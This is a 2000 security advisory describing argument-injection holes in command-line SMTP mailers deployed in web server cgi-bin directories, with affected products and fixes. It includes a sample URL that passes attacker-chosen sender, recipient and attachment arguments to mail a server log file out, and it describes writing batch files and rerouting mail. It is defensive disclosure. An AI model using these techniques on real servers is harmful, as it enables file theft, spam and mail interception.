---------------------------------------------------------------------------- Xato Network Security, Inc. www.xato.net Security Advisory XATO-122000-01 December 12, 2000 - MULTIPLE VENDOR COMMAND-LINE MAILER HOLES - SMTP Command-Line Mailers on Win32 Web Servers ---------------------------------------------------------------------------- Systems Affected ================ Multiple vendor command-line mailers running on Win32-based web servers (see below). Overview ======== The majority of the command-line SMTP mailers available for Win32-based systems are vulnerable when used to send mail from a web server. The vulnerabilities found include the ability to: - Read and/or write to the server's file system; - Retrieve files from the server's file system as mail attachments; - Bounce and/or spoof e-mail messages; - Spam, flood, mail bomb, or otherwise use a server's resources without authorization; - Bounce off a server to perform port scans; - Bounce off a server to perform brute-force attacks to POP and/or SMTP accounts; - Change default mailer options to route all e-mails through an untrusted mail server; - Discover information about the server and/or company, including physical paths, e-mail addresses, and environment variables; - Perform a number of DoS attacks on a server as well as using the server to perform DoS attacks towards other systems; - View logs of e-mail messages and mailer configuration files. The vulnerabilities found range from very minor to very serious and immediate attention should be given if using a command-line SMTP mailer. Background ========== Although these vulnerabilities are obvious to many and similar holes have been found in mailers on other platforms, we at Xato felt that it was an issue that needed to be addressed because of the widespread usage of these tools. In our research we found that many web servers are using these command-line mailers. They are even included in several e-commerce applications and many web hosting companies recommend their use. Furthermore, some of these web-hosting companies go so far as to create documentation explaining how to set up the mailers in such a manner that makes them even more vulnerable. We started this research on one mailer and were about to release an advisory when we thought that perhaps we should look into some of the other mailers out their. To our dismay, we found that the majority of them had one or more vulnerabilities. As the number of mailers on our list grew, we faced the dilemma of how to approach this. We did not want to release twenty different advisories nor did we want to make one large advisory that included all our research. We also did not want to have to wait for and coordinate twenty companies to get around to releasing patches before we released an official advisory. Therefore we decided that our best approach would be to address the issue in a general manner and leave it up to the individual vendors to take the responsibility of fixing their own products. We hope that this advisory serves as a lesson for both developers and web admins about using DOS applications on web servers. As we mentioned before, this is a vulnerability that may seem obvious and some of the individual problems in specific mailers have been addressed but we thought this should officially be documented because people sometimes do not fix things unless they are told specifically what to fix. We hope that this information will be integrated into vulnerability scanners as well as intrusion detection systems so that administrators are better educated in these and similar security risks. We expect to follow up this advisory with additional details about specific vulnerabilities. We will not go into many exploit details with particular command-line mailers now because there are so many exploits for so many of the mailers. We are keeping this advisory general to emphasize the nature of the problem rather than the specific weaknesses. Details ======= A command-line mailer can be an extremely useful and time-saving administrative tool. However, although many of them were designed to be used with a web server, most of them do not follow safe practices making them a great security risk. The basic problem lies in the fact that they are usually just plain old DOS applications. You can stick just about any non-interactive DOS application into an executable directory on a web server and run it remotely. The problem is that most DOS applications do not realize or even care that they are being run from a web server and so therefore they behave exactly as if they were run locally from a command prompt. For example, if you had a mailer named mailer.exe and you placed that file in your cgi-bin directory on your web site, any visitor to your site would be able to run that application by entering the url: http://yourserver/cgi-bin/mailer.exe Now suppose that by executing "mailer.exe -h" from a command prompt the user could view a list of options. The same thing can be executed from the web by entering the url: http://yourserver/cgi-bin/mailer.exe?-h The resulting text sent to the browser would be the same list of options that can be seen from the command prompt. To the mailer, there is no difference in being run from a command prompt as being run from a web server. Many web sites have some sort of feedback, technical support, or order form that allows users to enter data which is then compiled into an e-mail and sent to the right person at that site. It is a convenience for the visitor as well as the web site operator. It is very common to simply use one of the many freely available command-line mailers to accomplish this task. Many of the mailers have CGI interfaces and some are solely designed for web use. Most of them depend on the data sent from the form or supplied through a server-side script. But most of the time the mailer executable is located right in the web in a directory with execute permissions. Anyone can simply bypass the web form and run the mailer directly with the desired command-line arguments. Now suppose that an attacker runs the command-line mailer with the help switch and discovers that there are options to specify who the mail is from (-f), who it is to (-t), and attachment (-a). So in our example, one could send an e-mail from the command line using the following command: mailer.exe -f joe@example.com -t me@example.com -a c:\logs\web.log This same command can be run from the server by using the following command: http://yourserver/cgi-bin/mailer.exe?-f%20joe@example.com%20-t%20me@example. com%20-a%20c:\logs\web.log This command will mail you the file named web.log. Most command-line mailers allow you to specify a recipient and a file attachment, allowing anyone on the internet to grab any file that the web server has access to. Looking at the options available for all the command-line mailers, we found a number of great features that also introduced a number of security holes. For example, one mailer allows the message to be sent to a file instead of a mail recipient. This is a very dangerous feature as it would allow one to create a batch file in the same directory as the mailer executable. Since this directory is marked executable, the batch file can be run from the web browser as well. Many of the mailers required that the web directory be marked executable, readable, and writeable. All of these things together make a very bad mixture. Another problem with sending to a file is the ability to send data to other DOS devices such as printers, modems, COM ports, etc. Most of the mailers also allow one to specify the recipient as well as the sender, allowing any one to use the server for spam, flooding, mail bombing, resource draining, mail spoofing, denial of service, etc. Other problems include INI and log files in the same directory as the mailer, command-line options that override the default settings, the ability to modify hidden form variables to exploit the mailer, debug modes that reveal server information, and the ability to queue (and unqueue) messages. One interesting attack we noticed with several mailers is that one can set the server defaults from the command-line interface. By routing all mail through an external SMTP mailer with full logging turned on, one could easily spy on all mail sent through the utility. Such an attack could easily go for a very long time unnoticed. In short, we did not find a single command-line mailer that was secure enough for us to recommend using on a web server. Many have made feeble attempts to secure their products, but are not complete and have overlooked many of the less serious yet still important vulnerabilities. To make things worse, many users configure or use the mailers in such a way to amplify the effects of the vulnerabilities. Some of these utilities were never even designed for web use and therefore many of these security issues were never even considered. On the other hand, some developers have added some very good security features but they are either not enough or they are not turned on by default. And finally, many web sites operators are using older versions of utilities that do not contain more recent security fixes. We tested the following mailers and found all of them vulnerable to one or more holes: Title Web Site --------------------------------------------------------------------------- BatMail v1.8d http://www.on3.com/tools/nt/mailexe/ Blat v1.85h http://pages.infinit.net/che/blat/blat.html CGIMail v2.5 http://www.nsiweb.com/cgisoftware/cgimail CLEMAIL v1.3 http://sureshot.virtualave.net/clemail Comments v1.7 http://www.greyware.com FormVar v1.61 http://www.cgimachine.de GBMail v2.02 http://gboban.hypermart.net MailForm v1.96 http://www.lss.com.au MailMe! v1.6 http://www.arclab.com MailPost v5.1 http://www.mcenter.com/mailpost MailSend v7.15 http://www.radiks.net/jimbo/share.html MailSend v3.18 http://www.dataenter.co.at NetFormDD v2.9 http://www.seedlingsoft.com Postie v6 http://www.infradig.com SendFile v1.0 http://www.tntsoftware.com Stalkerlab's Mailers V1.2 http://www.stalkerlab.ch/SMailers WindMail v3.05 http://www.geocel.com WebMailer Pro v1.2 http://www.geocel.com WebMailer Lite v1.2 http://www.geocel.com wSendmail v1.5 http://www.jgaa.com/ Please note that this list is by no means complete and it only represents those that we actually tested. Not being on this list does not mean that a mailer is safe. Also note that we have only evaluated executable programs and have not even explored the many scripts and com objects available. Most of these vendors have not been contacted other than receiving this advisory. We strongly felt that because of the scope of the problem and the number of vendors affected that it would be better to distribute the advisory immediately. User Solution ============= The problem with these utilities is that there is no really good solution for fixing many of them unless the developers make some major changes to how they work. The best interim solution may be to call the mailers from a script and keep the actual executable out of the web root. This will not work for all the programs or for all situations. Keep in mind that some of these mailers have only minor problems while others have some very serious holes. We will not be addressing all the specific holes nor will we answer e-mails about specific problems. The best solution is to look at how the mailer handles command-line options and other user input and work with the developer to establish a good strategy for using the mailer on your web site. You should also carefully read the mailer's help file and any supporting documentation. Resources such as BugTraq (www.securityfocus.com) can also provide insight into specific security problems with your particular mailer. Another solution is to use a COM-based dll for sending e-mails. Generally they are more secure much of the burden of keeping them secure is on the web developer. A very weak but possible interim solution until you can fix things is to rename the mailer executable and change the standard defaults. Developer Solutions =================== This is a good opportunity for software developers to look at their own tools and the security holes they may contain. The biggest problem with most of these mailers is that they trust input that should not be trusted. Some use http referrer variables for security and others depend on hidden form variables. All of these things can be easily modified by the client. Many of the tools allow for a configuration file but often those settings are overridden by the command-line options when in fact the reverse should be true. Everything should default to the most secure settings unless explicitly disabled. Finally, developers should include good documentation on how to properly secure their application. Commentary Certainly this is nothing more than a brief overview of a very big problem but the solution is one that involves mailer developers, web hosting companies, e-commerce developers, system administrators and end users. I have only lightly touched on the vulnerabilities and solutions yet the scope of the problem prohibits any more detail than this at this time. I would expect the security community to research this more and I would like to know of any other mailers that are vulnerable. I will probably send out an addendum to this advisory that lists more mailers as well as the actual filenames and more specific exploit information. I would hope that web administrators realize the seriousness of these problems and take the time to evaluate their own mailers, whatever form they take. Many of these tools are freeware or unsupported so the burden of fixing them is spread out among us. Acknowledgements ================ Author: sozni (sozni@xato.net) Thanks to: DR. Royce, tgooat, xentury, Mark, Don, Aaron Xato Network Security, Inc. (www.xato.net) is an NT/2000 security services company specializing in securing IIS web servers. This document is located at: http://www.xato.net/reference/xato-122000-01.htm http://www.xato.net/reference/xato-122000-01.txt ----------------------------------------------------------------------- THE INFORMATION PROVIDED IN THIS ADVISORY IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. XATO NETWORK SECURITY, INC. DISCLAIMS ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. COPYRIGHT (c) 2000 XATO NETWORK SECURITY, INC. ALL RIGHTS RESERVED. ----------------------------------------------------------------------- More Keywords: CGI, Script, ASP, Perl, Form, HTML "And its probably all Microsoft's fault"